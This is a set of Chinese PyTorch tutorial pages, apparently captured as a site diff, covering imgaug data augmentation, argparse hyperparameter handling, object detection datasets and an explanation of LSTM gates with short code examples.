在机器学习/深度学习中,我们经常会遇到模型过拟合的问题,为了解决过拟合问题,我们可以通过加入正则项或者减少模型学习参数来解决,但是最简单的避免过拟合的方法是增加数据,但是在许多场景我们无法获得大量数据,例如医学图像分析。数据增强技术的存在是为了解决这个问题,这是针对有限数据问题的解决方案。数据增强一套技术,可提高训练数据集的大小和质量,以便我们可以使用它们来构建更好的深度学习模型。 +在计算视觉领域,生成增强图像相对容易。即使引入噪声或裁剪图像的一部分,模型仍可以对图像进行分类,数据增强有一系列简单有效的方法可供选择,有一些机器学习库来进行计算视觉领域的数据增强,比如:imgaug 官网它封装了很多数据增强算法,给开发者提供了方便。通过本章内容,您将学会以下内容:

+
    +
  • imgaug的简介和安装
  • +
  • 使用imgaug对数据进行增强
  • +
+

6.5.1 imgaug简介和安装​

+

6.5.1.1 imgaug简介​

+

imgaug是计算机视觉任务中常用的一个数据增强的包,相比于torchvision.transforms,它提供了更多的数据增强方法,因此在各种竞赛中,人们广泛使用imgaug来对数据进行增强操作。除此之外,imgaug官方还提供了许多例程让我们学习,本章内容仅是简介,希望起到抛砖引玉的功能。

+
    +
  1. Github地址:imgaug
  2. +
  3. Readthedocs:imgaug
  4. +
  5. 官方提供notebook例程:notebook
  6. +
+

6.5.1.2 imgaug的安装​

+

imgaug的安装方法和其他的Python包类似,我们可以通过以下两种方式进行安装

+

conda​

+
conda config --add channels conda-forge
conda install imgaug
+

pip​

+
#  install imgaug either via pypi

pip install imgaug

# install the latest version directly from github

pip install git+https://github.com/aleju/imgaug.git
+

6.5.2 imgaug的使用​

+

imgaug仅仅提供了图像增强的一些方法,但是并未提供图像的IO操作,因此我们需要使用一些库来对图像进行导入,建议使用imageio进行读入,如果使用的是opencv进行文件读取的时候,需要进行手动改变通道,将读取的BGR图像转换为RGB图像。除此以外,当我们用PIL.Image进行读取时,因为读取的图片没有shape的属性,所以我们需要将读取到的img转换为np.array()的形式再进行处理。因此官方的例程中也是使用imageio进行图片读取。

+

单张图片处理​

+

在该单元,我们仅以几种数据增强操作为例,主要目的是教会大家如何使用imgaug来对数据进行增强操作。

+
import imageio
import imgaug as ia
%matplotlib inline

# 图片的读取
img = imageio.imread("./Lenna.jpg")

# 使用Image进行读取
# img = Image.open("./Lenna.jpg")
# image = np.array(img)
# ia.imshow(image)

# 可视化图片
ia.imshow(img)
+

+

现在我们已经得到了需要处理的图片,imgaug包含了许多从Augmenter继承的数据增强的操作。在这里我们以Affine为例子。

+
from imgaug import augmenters as iaa

# 设置随机数种子
ia.seed(4)

# 实例化方法
rotate = iaa.Affine(rotate=(-4,45))
img_aug = rotate(image=img)
ia.imshow(img_aug)
+

+

这是对一张图片进行一种操作方式,但实际情况下,我们可能对一张图片做多种数据增强处理。这种情况下,我们就需要利用imgaug.augmenters.Sequential()来构造我们数据增强的pipline,该方法与torchvison.transforms.Compose()相类似。

+
iaa.Sequential(children=None, # Augmenter集合
random_order=False, # 是否对每个batch使用不同顺序的Augmenter list
name=None,
deterministic=False,
random_state=None)
+
# 构建处理序列
aug_seq = iaa.Sequential([
iaa.Affine(rotate=(-25,25)),
iaa.AdditiveGaussianNoise(scale=(10,60)),
iaa.Crop(percent=(0,0.2))
])
# 对图片进行处理,image不可以省略,也不能写成images
image_aug = aug_seq(image=img)
ia.imshow(image_aug)
+

+

总的来说,对单张图片处理的方式基本相同,我们可以根据实际需求,选择合适的数据增强方法来对数据进行处理。

+

对批次图片进行处理​

+

在实际使用中,我们通常需要处理更多份的图像数据。此时,可以将图形数据按照NHWC的形式或者由列表组成的HWC的形式对批量的图像进行处理。主要分为以下两部分,对批次的图片以同一种方式处理和对批次的图片进行分部分处理。

+

对批次的图片以同一种方式处理​

+

对一批次的图片进行处理时,我们只需要将待处理的图片放在一个list中,并将函数的image改为images即可进行数据增强操作,具体实际操作如下:

+
images = [img,img,img,img,]
images_aug = rotate(images=images)
ia.imshow(np.hstack(images_aug))
+

我们就可以得到如下的展示效果:

+

+在上述的例子中,我们仅仅对图片进行了仿射变换,同样的,我们也可以对批次的图片使用多种增强方法,与单张图片的方法类似,我们同样需要借助Sequential来构造数据增强的pipline。

+
aug_seq = iaa.Sequential([
iaa.Affine(rotate=(-25, 25)),
iaa.AdditiveGaussianNoise(scale=(10, 60)),
iaa.Crop(percent=(0, 0.2))
])

# 传入时需要指明是images参数
images_aug = aug_seq.augment_images(images = images)
#images_aug = aug_seq(images = images)
ia.imshow(np.hstack(images_aug))
+

对批次的图片分部分处理​

+

imgaug相较于其他的数据增强的库,有一个很有意思的特性,即就是我们可以通过imgaug.augmenters.Sometimes()对batch中的一部分图片应用一部分Augmenters,剩下的图片应用另外的Augmenters。

+
iaa.Sometimes(p=0.5,  # 代表划分比例
then_list=None, # Augmenter集合。p概率的图片进行变换的Augmenters。
else_list=None, #1-p概率的图片会被进行变换的Augmenters。注意变换的图片应用的Augmenter只能是then_list或者else_list中的一个。
name=None,
deterministic=False,
random_state=None)
+

对不同大小的图片进行处理​

+

上面提到的图片都是基于相同的图像。以下的示例具有不同图像大小的情况,我们从维基百科加载三张图片,将它们作为一个批次进行扩充,然后一张一张地显示每张图片。具体的操作跟单张的图片都是十分相似,因此不做过多赘述。

+
# 构建pipline
seq = iaa.Sequential([
iaa.CropAndPad(percent=(-0.2, 0.2), pad_mode="edge"), # crop and pad images
iaa.AddToHueAndSaturation((-60, 60)), # change their color
iaa.ElasticTransformation(alpha=90, sigma=9), # water-like effect
iaa.Cutout() # replace one squared area within the image by a constant intensity value
], random_order=True)

# 加载不同大小的图片
images_different_sizes = [
imageio.imread("https://upload.wikimedia.org/wikipedia/commons/e/ed/BRACHYLAGUS_IDAHOENSIS.jpg"),
imageio.imread("https://upload.wikimedia.org/wikipedia/commons/c/c9/Southern_swamp_rabbit_baby.jpg"),
imageio.imread("https://upload.wikimedia.org/wikipedia/commons/9/9f/Lower_Keys_marsh_rabbit.jpg")
]

# 对图片进行增强
images_aug = seq(images=images_different_sizes)

# 可视化结果
print("Image 0 (input shape: %s, output shape: %s)" % (images_different_sizes[0].shape, images_aug[0].shape))
ia.imshow(np.hstack([images_different_sizes[0], images_aug[0]]))

print("Image 1 (input shape: %s, output shape: %s)" % (images_different_sizes[1].shape, images_aug[1].shape))
ia.imshow(np.hstack([images_different_sizes[1], images_aug[1]]))

print("Image 2 (input shape: %s, output shape: %s)" % (images_different_sizes[2].shape, images_aug[2].shape))
ia.imshow(np.hstack([images_different_sizes[2], images_aug[2]]))
+

different_size.png

+

6.5.3 imgaug在PyTorch的应用​

+

关于PyTorch中如何使用imgaug每一个人的模板是不一样的,我在这里也仅仅给出imgaug的issue里面提出的一种解决方案,大家可以根据自己的实际需求进行改变。 +具体链接:how to use imgaug with pytorch

+
import numpy as np
from imgaug import augmenters as iaa
from torch.utils.data import DataLoader, Dataset
from torchvision import transforms

# 构建pipline
tfs = transforms.Compose([
iaa.Sequential([
iaa.flip.Fliplr(p=0.5),
iaa.flip.Flipud(p=0.5),
iaa.GaussianBlur(sigma=(0.0, 0.1)),
iaa.MultiplyBrightness(mul=(0.65, 1.35)),
]).augment_image,
# 不要忘记了使用ToTensor()
transforms.ToTensor()
])

# 自定义数据集
class CustomDataset(Dataset):
def __init__(self, n_images, n_classes, transform=None):
# 图片的读取,建议使用imageio
self.images = np.random.randint(0, 255,
(n_images, 224, 224, 3),
dtype=np.uint8)
self.targets = np.random.randn(n_images, n_classes)
self.transform = transform

def __getitem__(self, item):
image = self.images[item]
target = self.targets[item]

if self.transform:
image = self.transform(image)

return image, target

def __len__(self):
return len(self.images)


def worker_init_fn(worker_id):
imgaug.seed(np.random.get_state()[1][0] + worker_id)


custom_ds = CustomDataset(n_images=50, n_classes=10, transform=tfs)
custom_dl = DataLoader(custom_ds, batch_size=64,
num_workers=4, pin_memory=True,
worker_init_fn=worker_init_fn)

+

关于num_workers在Windows系统上只能设置成0,但是当我们使用Linux远程服务器时,可能使用不同的num_workers的数量,这是我们就需要注意worker_init_fn()函数的作用了。它保证了我们使用的数据增强在num_workers>0时是对数据的增强是随机的。

+

6.5.4 总结​

+

数据扩充是我们需要掌握的基本技能,除了imgaug以外,我们还可以去学习其他的数据增强库,包括但不局限于Albumentations,Augmentor。除去imgaug以外,我还强烈建议大家学下Albumentations,因为Albumentations跟imgaug都有着丰富的教程资源,大家可以有需求访问Albumentations教程。

+

参考资料​

+
    +
  1. kaggle-data-augmentation-packages-overview
  2. +
  3. how to use imgaug with pytorch
  4. +
  5. Kaggle知识点:数据扩增方法
  6. +
  7. PyTorch Classification Model Based On Imgaug.
  8. +
  9. Tutorial Notebooks
  10. +
+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第六章/6.6 使用argparse进行调参/index.html b/docs/个人知识库/AI/PyTorch/第六章/6.6 使用argparse进行调参/index.html new file mode 100644 index 0000000..8992f0f --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第六章/6.6 使用argparse进行调参/index.html @@ -0,0 +1,81 @@ + + + + + +6.6 使用argparse进行调参.md | wjlin0 + + + + + + + +

6.6 使用argparse进行调参.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:21
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

6.6 使用argparse进行调参

+

在深度学习中时,超参数的修改和保存是非常重要的一步,尤其是当我们在服务器上跑我们的模型时,如何更方便的修改超参数是我们需要考虑的一个问题。这时候,要是有一个库或者函数可以解析我们输入的命令行参数再传入模型的超参数中该多好。到底有没有这样的一种方法呢?答案是肯定的,这个就是 Python 标准库的一部分:Argparse。那么下面让我们看看他是多么方便。通过本节课,您将会收获以下内容

+
    +
  • argparse的简介
  • +
  • argparse的使用
  • +
  • 如何使用argparse修改超参数
  • +
+

6.6.1 argparse简介​

+

argsparse是python的命令行解析的标准模块,内置于python,不需要安装。这个库可以让我们直接在命令行中就可以向程序中传入参数。我们可以使用python file.py来运行python文件。而argparse的作用就是将命令行传入的其他参数进行解析、保存和使用。在使用argparse后,我们在命令行输入的参数就可以以这种形式python file.py --lr 1e-4 --batch_size 32来完成对常见超参数的设置。

+

6.6.2 argparse的使用​

+

总的来说,我们可以将argparse的使用归纳为以下三个步骤。

+
    +
  • 创建ArgumentParser()对象
  • +
  • 调用add_argument()方法添加参数
  • +
  • 使用parse_args()解析参数 +在接下来的内容中,我们将以实际操作来学习argparse的使用方法。
  • +
+
# demo.py
import argparse

# 创建ArgumentParser()对象
parser = argparse.ArgumentParser()

# 添加参数
parser.add_argument('-o', '--output', action='store_true',
help="shows output")
# action = `store_true` 会将output参数记录为True
# type 规定了参数的格式
# default 规定了默认值
parser.add_argument('--lr', type=float, default=3e-5, help='select the learning rate, default=1e-3')

parser.add_argument('--batch_size', type=int, required=True, help='input batch size')
# 使用parse_args()解析函数
args = parser.parse_args()

if args.output:
print("This is some output")
print(f"learning rate:{args.lr} ")

+

我们在命令行使用python demo.py --lr 3e-4 --batch_size 32,就可以看到以下的输出

+
This is some output
learning rate: 3e-4
+

argparse的参数主要可以分为可选参数和必选参数。可选参数就跟我们的lr参数相类似,未输入的情况下会设置为默认值。必选参数就跟我们的batch_size参数相类似,当我们给参数设置required =True后,我们就必须传入该参数,否则就会报错。看到我们的输入格式后,我们可能会有这样一个疑问,我输入参数的时候不使用--可以吗?答案是肯定的,不过我们需要在设置上做出一些改变。

+
# positional.py
import argparse

# 位置参数
parser = argparse.ArgumentParser()

parser.add_argument('name')
parser.add_argument('age')

args = parser.parse_args()

print(f'{args.name} is {args.age} years old')
+

当我们不实用--后,将会严格按照参数位置进行解析。

+
$ positional_arg.py Peter 23
Peter is 23 years old
+

总的来说,argparse的使用很简单,以上这些操作就可以帮助我们进行参数的修改,在下面的部分,我将会分享我是如何在模型训练中使用argparse进行超参数的修改。

+

6.6.3 更加高效使用argparse修改超参数​

+

每个人都有着不同的超参数管理方式,在这里我将分享我使用argparse管理超参数的方式,希望可以对大家有一些借鉴意义。通常情况下,为了使代码更加简洁和模块化,我一般会将有关超参数的操作写在config.py,然后在train.py或者其他文件导入就可以。具体的config.py可以参考如下内容。

+
import argparse  

def get_options(parser=argparse.ArgumentParser()):

parser.add_argument('--workers', type=int, default=0,
help='number of data loading workers, you had better put it '
'4 times of your gpu')

parser.add_argument('--batch_size', type=int, default=4, help='input batch size, default=64')

parser.add_argument('--niter', type=int, default=10, help='number of epochs to train for, default=10')

parser.add_argument('--lr', type=float, default=3e-5, help='select the learning rate, default=1e-3')

parser.add_argument('--seed', type=int, default=118, help="random seed")

parser.add_argument('--cuda', action='store_true', default=True, help='enables cuda')
parser.add_argument('--checkpoint_path',type=str,default='',
help='Path to load a previous trained model if not empty (default empty)')
parser.add_argument('--output',action='store_true',default=True,help="shows output")

opt = parser.parse_args()

if opt.output:
print(f'num_workers: {opt.workers}')
print(f'batch_size: {opt.batch_size}')
print(f'epochs (niters) : {opt.niter}')
print(f'learning rate : {opt.lr}')
print(f'manual_seed: {opt.seed}')
print(f'cuda enable: {opt.cuda}')
print(f'checkpoint_path: {opt.checkpoint_path}')

return opt

if __name__ == '__main__':
opt = get_options()
+
$ python config.py

num_workers: 0
batch_size: 4
epochs (niters) : 10
learning rate : 3e-05
manual_seed: 118
cuda enable: True
checkpoint_path:
+

随后在train.py等其他文件,我们就可以使用下面的这样的结构来调用参数。

+
# 导入必要库
...
import config

opt = config.get_options()

manual_seed = opt.seed
num_workers = opt.workers
batch_size = opt.batch_size
lr = opt.lr
niters = opt.niters
checkpoint_path = opt.checkpoint_path

# 随机数的设置,保证复现结果
def set_seed(seed):
torch.manual_seed(seed)
torch.cuda.manual_seed_all(seed)
random.seed(seed)
np.random.seed(seed)
torch.backends.cudnn.benchmark = False
torch.backends.cudnn.deterministic = True

...


if __name__ == '__main__':
set_seed(manual_seed)
for epoch in range(niters):
train(model,lr,batch_size,num_workers,checkpoint_path)
val(model,lr,batch_size,num_workers,checkpoint_path)

+

总结​

+

argparse给我们提供了一种新的更加便捷的方式,而在一些大型的深度学习库中人们也会使用json、dict、yaml等文件格式去保存超参数进行训练。如果大家还想进一步的了解argparse的使用,大家可以点击下面提供的连接进行更深的学习和了解。

+
    +
  1. Python argparse 教程
  2. +
  3. argparse 官方教程
  4. +
+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第六章/index.html b/docs/个人知识库/AI/PyTorch/第六章/index.html new file mode 100644 index 0000000..781409c --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第六章/index.html @@ -0,0 +1,46 @@ + + + + + +第六章 | wjlin0 + + + + + + + + + + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第十章/10.1 图像分类/index.html b/docs/个人知识库/AI/PyTorch/第十章/10.1 图像分类/index.html new file mode 100644 index 0000000..b0aaf6b --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第十章/10.1 图像分类/index.html @@ -0,0 +1,45 @@ + + + + + +10.1 图像分类.md | wjlin0 + + + + + + + + + + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第十章/10.2 目标检测/index.html b/docs/个人知识库/AI/PyTorch/第十章/10.2 目标检测/index.html new file mode 100644 index 0000000..074aa2c --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第十章/10.2 目标检测/index.html @@ -0,0 +1,181 @@ + + + + + +10.2 目标检测.md | wjlin0 + + + + + + + +

10.2 目标检测.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:41
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

目标检测简介

+

目标检测概述​

+

目标检测是计算机视觉的一个重要任务,根据整张图像内容进行描述,并结合目标物体的特征信息,确定该物体的类别与位置。不同于图像分类任务中我们只需要输出图像中主要物体对象的类标,在目标检测任务中,一张图像里往往含有多个物体对象,我们不仅需要输出这些物体的类标,同时还需要输出这些物体的位置,在表示位置时,我们一般采用目标检测边缘框bounding box进行表示,bounding box是一组坐标值,常见形式为(x1,y1,x2,y2),其中x1代表物体左上横坐标,y1代表左上纵坐标,x2代表物体右下横坐标,y2代表物体右下纵坐标。

+

目标检测应用​

+

目标检测技术不同于图像分类单一输出物体的种类,它将物体的位置和种类一起输出,这使得目标检测在一些领域有着重要的作用,目标检测常用于人脸检测、智慧交通、机器人、无人驾驶、遥感目标检测、安防领域检测异常、行人计数、安全系统等各大领域。

+

目标检测数据集​

+

目标检测的数据集通常来说比图片分类的数据集小很多,因为每一张图片的标注的成本很高,相较于图片分类的常见标注方法是给定一个CSV文件(图片与标号一一对应)或者是给定一个文件夹(每个类对应一个子文件夹,对应标号的图片放在子文件夹下),但是对于目标检测来说因为一张图片中可能存在多个类,所以我们就不能放在子文件夹中,所以通常来说目标检测的数据集的标号需要额外存储,常见的存储格式有PASCAL VOC的格式和COCO的标注格式。假设使用文本文件存储的话,每一行表示一个物体,每一行分别由图片文件名(因为一张图片中可能有多个物体,所以同一个文件名可能会出现多次)、物体类别(标号)、边缘框(图片中物体的位置)组成,每一行一共有6(1+1+4)个值 +目标检测常用的数据集有PASCAL VOC2007, MS COCO

+

COCO数据集​

+

[Dataset url] [Dataset paper] [Dataset Benchmarks]

+

COCO是目标检测中比较常见的数据集,类似于Imagenet在图片分类中的地位,coco数据集是微软开源的一个目标检测中常用的大规模数据集,相对于VOC而言,COCO数据集有着小目标多、单幅图片目标多、物体大多非中心分布、更符合日常环境的特点,因而COCO数据集的目标检测难度更大。对于目标检测任务,COCO包含80个类别,每年大赛的训练和和验证集包含120,000张图片,超过40,000张测试图片(每个图片包含多个物体)。下面是这个数据集中的80个类别:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
所属大类lable
Person#1person
Vehicle#8bicycle,car,motorcycle,airplane,bus,train,truck,boat
Outdoor#5traffic light, firhydrant, stop sign, parking meter, bench
Animal#10bird,cat, dog,horse, sheep, cow, elephant, bear, zebra, giraffe
Accessory#5backpack, umbrella,handbag, tie, suitcase
Sport#10frisbee, skis,snowboard, sports ball, kite, baseball bat , baseball glove, skateboard, surfboard, tennisracket
Kitchen#7bottle, wine glass,cup, fork, knife, spoon, bowl
Food#10banana, apple,sandwich, orange, broccoli, carrot, hot dog, pizza, donut, cake
Furniture#6chair, couch, potted plant,bed, dining table, toilet
Electronic#6tv, laptop, mouse,remote, keyboard, cell phone
Appliance#5microwave, oven,toaster, sink, refrigerator
Indoor#7book, clock, vase,scissors, teddy bear, hair drier, toothbrus
+

与PASCAL VOC数据标注格式不同,COCO的数据标注格式是以Json形式保存,具体形式可以参考COCO官网的format data

+

PASCAL VOC​

+

[Dataset url] [Dataset paper] [Dataset Benchmarks]

+

Pascal VOC数据集是目标检测的常用的大规模数据集之一,从05年到12年都会举办比赛(比赛任务task: 分类Classification ,目标检测Object Detection,语义分割Class Segmentation,实例分割Object Segmentation,Action Classification(专注于人体动作的一种分类),Person Layout(专注于人体各部位的一种目标检测))。当前常见的数据集有VOC2007和VOC2012两个数据集。包含约10,000张带有边界框的图片用于训练和验证。含有20个类别。具体包括

+ + + + + + + + + + + + + + + + + + + + + + + + + +
所属大类label
Personperson
Animalbird, cat, cow, dog, horse,sheep
Vehicleaeroplane, bicycle, boat,bus, car, motorbike, train
Indoorbottle, chair, dining table,potted plant, sofa, tv/monitor
+

相较于COCO数据集的80类别,PASCAL VOC数据集仅有20类,因此也常被看作是目标检测领域的基准数据集。数据集下载完后会有五个文件夹:Annotations、ImageSets、JPEGImages、SegmentationClass、SegmentationObject +annotations:数据集标签的存储路径,通过XML文件格式,为图像数据存储各类任务的标签。其中部分标签为目标检测的标签。 +JPEGImages:数据集图像的存储路径。 +具体的标注格式,请参考Annotation Guidelines

+

DOTA​

+

[Dataset url] [Dataset paper] [Dataset Benchmarks]

+

DOTA数据集是最为重要的遥感航空拍摄的目标检测数据集之一,数据来自Google Earth,GF-2和JL-1卫星,CycloMedia B.V。DOTA包含灰度图和RGB图像,并且每张图片以PNG形式保存,其中RGB来自于Google Earth和CycloMedia,灰度图来自GF-2和JL-1卫星。DOTA现有v1.0,v1.5,v2.0三个版本,分别支持15,16,18类的检测。

+ + + + + + + + + + + + + + + + + + + + + +
DOTA 版本包含类别
DOTA v1.0plane, ship, storage tank, baseball diamond, tennis court, basketball court, ground track field, harbor, bridge, large vehicle, small vehicle, helicopter, roundabout, soccer ball field and swimming pool
DOTA v1.5plane, ship, storage tank, baseball diamond, tennis court, basketball court, ground track field, harbor, bridge, large vehicle, small vehicle, helicopter, roundabout, soccer ball field, swimming pool and container crane.
DOTA v2.0plane, ship, storage tank, baseball diamond, tennis court, basketball court, ground track field, harbor, bridge, large vehicle, small vehicle, helicopter, roundabout, soccer ball field, swimming pool, container crane, airport and helipad.
+

关于DOTA的标注形式,请参考DOTA Annotation format

+

KITTI​

+

[Dataset url] [Dataset paper] [Dataset Benchmarks]

+

目标检测常用算法​

+

随着算力的发展和深度学习的发展,目标检测经历了从基于手工设计特征的方法到基于深度学习提取特征的阶段。在早期,目标检测技术往往采用手工设计特征(Haar特征、梯度直方图HOG)加分类器(SVM、AdaBoost)的方法实现。随着卷积神经网络的发展,目标检测出现了一系列的基于卷积神经网络的目标检测技术,包括R-CNN系列,SSD系列,YOLO系列等。随着Transformer在自然语言处理和计算机视觉的发展,也出现了基于Transformer的目标检测技术,代表工作有DETR系列。在本部分,我们主要介绍基于深度学习的目标检测技术并进行部分代码的解读。

+

我们可以将基于深度学习的目标检测技术按照有无使用锚点框分为基于锚点框的目标检测方法(Anchor-based),无锚点框的目标检测方法(Anchor-free)和端到端的目标检测方法(Anchor-free)。其中端到端的目标检测技术也是属于特殊的无锚点框的目标检测方法。

+

我们可以将基于锚点框的目标检测方法分为单阶段目标检测方法(One-Stage)和两阶段目标检测方法(Two-Stage),其中单阶段目标检测方法代表作有YOLO (You Only Look Once)和SSD (Single Shot Detector),两阶段目标检测方法的代表作有R-CNN(R-CNN,Fast RCNN,Faster RCNN,Mask RCNN,Cascade RCNN,SPPNet)系列。一般而言,两阶段目标检测具有较高的检测精度,而单阶段目标检测方法具有更高的精度。

+

同样,我们可以将无锚点框的目标检测方法分为基于目标点的目标检测方法和基于内部点的目标检测方法。 +端到端的目标检测方法

+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第十章/10.3 图像分割/index.html b/docs/个人知识库/AI/PyTorch/第十章/10.3 图像分割/index.html new file mode 100644 index 0000000..7d5b839 --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第十章/10.3 图像分割/index.html @@ -0,0 +1,45 @@ + + + + + +10.3 图像分割.md | wjlin0 + + + + + + + + + + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第十章/LSTM解读及实战/index.html b/docs/个人知识库/AI/PyTorch/第十章/LSTM解读及实战/index.html new file mode 100644 index 0000000..4af1910 --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第十章/LSTM解读及实战/index.html @@ -0,0 +1,253 @@ + + + + + +LSTM解读及实战.md | wjlin0 + + + + + + + +

LSTM解读及实战.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:41
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

文章结构

+

在RNN详解及其实战中,我们简单讨论了为什么需要RNN这类模型、RNN的具体思路、RNN的简单实现等问题。同时,在文章结尾部分我们提到了RNN存在的梯度消失问题,及之后的一个解决方案:LSTM。因此,本篇文章主要结构如下:

+
    +
  1. LSTM 理解及简单实现
  2. +
  3. LSTM 实战
  4. +
  5. 经典 RNN 与 LSTM 对比
  6. +
  7. 关于梯度消失
  8. +
+

LSTM 理解

+

其实,我们将 LSTM 与 RNN 说成两个并不可取, LSTM 依然归属于 RNN 之下,相比于使用线性回归方式来处理序列问题, LSTM 其实是设计了一个模块来取代线性回归算法。

+

LSTM(Long Short-Term Memory),翻译过来是长短期记忆法,其核心思想可以说非常的简单:既然 RNN 只能保存短期的记忆,那我增加一个长期记忆,不就可以解决这个问题了名?因此,LSTM提出了长期记忆和短期记忆,通过调整长期记忆和短期记忆之间的比例,来维持长期记忆的可靠,降低 RNN 的梯度消失问题。可以看到下方结构图中,模型输入由两个升级到三个,分别是当前节点状态 $\mathbf{X}{t}$,长期记忆:$\mathbf{C}{t-1}$,短期记忆 $\mathbf{H}{t-1}$。输出状态依然是两个:节点当前状态 $\mathbf{C}{t}$,和节点当前隐藏状态 $\mathbf{H}_{t}$。

+

LSTM结构图

+

那么问题来了, LSTM 是如何实现对长短记忆的控制呢? +这就不得不提众人所知的三个门:

+
    +
  • 遗忘门:控制保留多少上一时刻的单元节点到当前节点
  • +
  • 记忆门:控制将当前时刻的多少信息记忆到节点中
  • +
  • 输出门:控制输出多少信息给当前输出
  • +
+

我们在分析三个门之前,我们先了解 门 这一概念。

+

门​

+

从简化图中可以看到, 门的感觉类似于电路中的一个开关,当开关按下,信息通过,而开关抬起,信息不再通过。实际也如此类似,门是一个全连接层,输入为一个向量,输出为一个位于 [0,1] 之间的值。 +我们来设计一个非常简单的遗忘门:每次学习状态之后,都遗忘一定的已学习内容,注意,这里的遗忘门与 LSTM 的遗忘门无关,单纯理解 门 这一概念。

+
# 一个线性层 用来计算遗忘多少
gate_linear = nn.Linear(hidden_size, 1)
# 一个线性层 用来学习
study_linear = nn.Linear(hidden_size, hidden_size)
# 此刻 h_t 是上一时刻状态
# 输出为 0 - 1 的值
gate = gate_linear(h_t)
# h_t 经过 study_linear 进行学习
_h_t = study_linear(h_t)
# 在输出结果之前,经过 gate 导致内容受损,遗忘了一定的学习内容
h_t = gate * (_h_t)
+

可以看到,如果 $gate$ 值为 0,则历史信息均会被遗忘,而如果值为1,则历史信息则会被完全保留,而 gate_linear 网络中的超参数会不断的学习,因此一个可以学习的开关门就出现了。

+

但是,$gate$ 作为一个浮点型的数据,对于 临时结果矩阵变量 $_h_t$ 而言,其遗忘控制是全局的,也就是,当 $gate$ 为 0 时, 其最终结果 $h_t$ 为全 0 矩阵。因此我们应该注意: LSTM 中并不采用这样的大闸门,而是采用对每个变量进行分别控制的小水龙头(神经网络激活函数 nn.Sigmode )

+

而在 LSTM 中,门主要使用 $Sigmod$ 神经网络(再次注意,并非是激活函数,而是 Sigmod 神经网络)来完成。

+

下方是一个示例代码:

+
hidden_size = 5
sigmoid = nn.Sigmoid()
# 隐藏状态 为了方便计算,假定全 1
hidden_emb = torch.ones(hidden_size, hidden_size)
# 中间某一层神经网络
model = nn.Linear(hidden_size,hidden_size)
# 获取该层输出,此时尚未被门限制
mid_out = model(hidden_emb)
# 获取一个门 -- 注意:并非一定由该变量所控制
# 比如:也可以由上一时刻的隐藏状态控制
# 代码为: gate = sigmoid(hidden_emb)
gate = sigmoid(mid_out)
# 得到最终输出
final_out = gate * mid_out
+

在有了对门的基础知识后,接下来对遗忘门、记忆门、输出门进行分别分析。

+

遗忘门​

+

遗忘门涉及部分如下图所示: +LSTM-遗忘门

+

其中,下方蓝色表示三个门共用的输入部分,均为 [$\mathbf{h}{t-1}$,$\mathbf{X}{t}$],需要注意,这里由于三个门之间并不共享权重参数,因此公示虽然接近,但是一共计算了三次,遗忘门被标记为 $f_t$, 列出遗忘门公式为: +$$ +f_t = \sigma(\mathbf{W_f} * [\mathbf{h}{t-1},\mathbf{X}{t}] + \mathbf{b_f}) +$$ +输出结果为取值范围为 [ 0, 1 ] 的矩阵,主要功能是控制与之相乘的矩阵的遗忘程度。 +将 $f_t$ 与输入的上一长期状态 $C_{t-1}$ 相乘: +$$ +C_t' = f_t * C_{t-1} +$$

+

一部分的 $C_{t-1}$ 就这样被遗忘了。

+

记忆门​

+

记忆门涉及部分如下所示: +LSTM记忆门

+

从图中可以看到,记忆门中相乘的两个部分均由 $\mathbf{h}{t-1}$ 与 $\mathbf{X}{t}$ 得到, +其中,左侧控制记忆多少的部分,与遗忘门公式基本一致: +$$ +i_t = \sigma(\mathbf{W_i} * [\mathbf{h}{t-1},\mathbf{X}{t}] + \mathbf{b_i}) +$$ +与遗忘门相通,输出结果为取值范围为 [ 0, 1 ] 的矩阵,主要功能是控制与之相乘的矩阵的记忆程度。 +而右侧,则更换了激活函数,由 $sigmoid$ 变成了 $tanh$: +$$ +\tilde{C_t} = \tanh(\mathbf{W_c} * [\mathbf{h}{t-1},\mathbf{X}{t}] + \mathbf{b_c}) +$$ +该公式负责的部分可以看做负责短期隐藏状态的更新,取值范围为 [ -1, 1 ]。

+

最终记忆门更新公式如下: +$$ +\tilde{C_t'}= i_t * \tilde{C_t} +$$

+

我们可以说 $\tilde{C_t'}$ 是保留了一定内容的短期状态

+

状态更新​

+

LSTM-状态更新

+

在通过遗忘门获取到了被遗忘一定内容的长期状态 $C_t'$ 和 保留了一定内容的短期状态 $\tilde{C_t'}$ 之后,可以通过加法直接结合

+

$$ +C_t = C_t' + \tilde{C_t'} +$$

+

输出门​

+

LSTM输出门

+

输出门是三个门中最后一个门,当数据到达这里的时候,我们主要控制将长期状态中的内容 $C_t$ 保存一定内容到 $h_t$ 中,这里不再赘述 +$$ +o_t = \sigma(\mathbf{W_o} * [\mathbf{h}{t-1},\mathbf{X}{t}] + \mathbf{b_o}) +$$

+

$$ +h_t = o_t * \tanh(C_t) +$$

+

模型总结​

+

可以看到,所有公式的核心部分都是如此的相似: +$$ +\mathbf{W_c} * [\mathbf{h}{t-1},\mathbf{X}{t}] + \mathbf{b_c} +$$ +而这部分其实又只是简单的线性函数,所以 LSTM 比 RNN 高级的地方其实并不在于某一条公式,而是它调整了数据之间的流动,按照一定的比例进行融合,弱化了长距离下的梯度消失问题。

+

